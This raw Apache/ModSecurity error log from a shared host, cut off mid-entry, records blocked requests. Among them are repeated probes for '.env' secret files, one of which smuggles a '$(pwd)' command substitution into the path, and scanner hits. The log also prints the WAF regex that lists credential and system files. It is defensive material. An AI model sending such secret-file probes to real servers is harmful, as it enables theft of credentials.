https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:20:47.503139 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:20:47.634594 2026] [security2:error] [pid 648189:tid 648419] [client 152.53.36.14:59062] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ai3z31WSojQL4F7upKCITwAAAMY"] [Sat Jun 13 18:20:47.696601 2026] [security2:error] [pid 648189:tid 648368] [client 152.53.168.39:56276] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ai3z31WSojQL4F7upKCIUwAAAJQ"] [Sat Jun 13 18:20:47.803509 2026] [security2:error] [pid 648189:tid 648389] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/basename.phpt"] [unique_id "ai3z31WSojQL4F7upKCIVgAAAKk"] [Sat Jun 13 18:20:47.890551 2026] [access_compat:error] [pid 648189:tid 648345] [remote 57.141.14.32:35245] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:47.891009 2026] [access_compat:error] [pid 648189:tid 648345] [remote 57.141.14.32:35245] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:47.997770 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:20:47.998216 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:20:47.999170 2026] [security2:error] [pid 648189:tid 648480] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/$(pwd)/.env"] [unique_id "ai3z31WSojQL4F7upKCIXQAAAP4"] [Sat Jun 13 18:20:48.219573 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.91:45250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:48.220020 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.91:45250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:48.271109 2026] [security2:error] [pid 646876:tid 646983] [remote 17.241.75.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z4NyTkdrNlD40tSHBKQAAd2g"] [Sat Jun 13 18:20:48.410848 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.3:32646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:48.411118 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.3:32646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:48.513216 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.99:32540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:48.513675 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.99:32540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:48.564221 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:20:48.564481 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:20:48.628343 2026] [security2:error] [pid 648189:tid 648397] [client 78.46.215.1:33658] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "networkwestmichigan.com"] [uri "/index.php"] [unique_id "ai3z31WSojQL4F7upKCISQAAALE"], referer: http://networkwestmichigan.com [Sat Jun 13 18:20:48.705439 2026] [security2:error] [pid 648189:tid 648374] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app/.env"] [unique_id "ai3z4FWSojQL4F7upKCIbwAAAJo"] [Sat Jun 13 18:20:49.014774 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNlL2lk [Sat Jun 13 18:20:49.015217 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNlL2lk [Sat Jun 13 18:20:49.125723 2026] [security2:error] [pid 648189:tid 648239] [remote 216.73.216.223:14345] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3z4VWSojQL4F7upKCIewAAixI"] [Sat Jun 13 18:20:49.147082 2026] [security2:error] [pid 648189:tid 648356] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/var/www/.env"] [unique_id "ai3z4VWSojQL4F7upKCIfAAAAIg"] [Sat Jun 13 18:20:49.155718 2026] [security2:error] [pid 646876:tid 646884] [remote 17.241.227.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z4dyTkdrNlD40tSHBQwAAHQU"] [Sat Jun 13 18:20:49.280992 2026] [security2:error] [pid 648189:tid 648387] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/var/www/html/.env"] [unique_id "ai3z4VWSojQL4F7upKCIfgAAAKc"] [Sat Jun 13 18:20:49.387745 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.15:31713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:49.388027 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.15:31713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:49.416263 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/opt/.env"] [unique_id "ai3z4VWSojQL4F7upKCIggAAAIk"] [Sat Jun 13 18:20:49.550146 2026] [security2:error] [pid 648189:tid 648462] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/srv/.env"] [unique_id "ai3z4VWSojQL4F7upKCIhgAAAOw"] [Sat Jun 13 18:20:49.567500 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:49.567977 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:49.826540 2026] [security2:error] [pid 648189:tid 648461] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/api/.env"] [unique_id "ai3z4VWSojQL4F7upKCIjQAAAOs"] [Sat Jun 13 18:20:49.938684 2026] [access_compat:error] [pid 648189:tid 648334] [remote 57.141.14.31:37212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:49.939196 2026] [access_compat:error] [pid 648189:tid 648334] [remote 57.141.14.31:37212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:49.963947 2026] [security2:error] [pid 648189:tid 648398] [client 185.177.72.9:32058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/laravel/.env"] [unique_id "ai3z4VWSojQL4F7upKCIkAAAALI"] [Sat Jun 13 18:20:50.007012 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.3:32652] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:50.007425 2026] [access_compat:error] [pid 646876:tid 646993] [remote 57.141.14.3:32652] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:50.039886 2026] [security2:error] [pid 648189:tid 648330] [remote 136.243.228.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.228.243.136.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z4lWSojQL4F7upKCIkQAAhms"] [Sat Jun 13 18:20:50.072501 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.55:56451] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:50.072786 2026] [access_compat:error] [pid 646876:tid 646911] [remote 57.141.14.55:56451] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:50.091591 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:50.091894 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:50.271140 2026] [access_compat:error] [pid 648189:tid 648309] [remote 57.141.14.105:62426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:50.271415 2026] [access_compat:error] [pid 648189:tid 648309] [remote 57.141.14.105:62426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:50.295481 2026] [security2:error] [pid 646876:tid 646975] [remote 17.241.219.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: 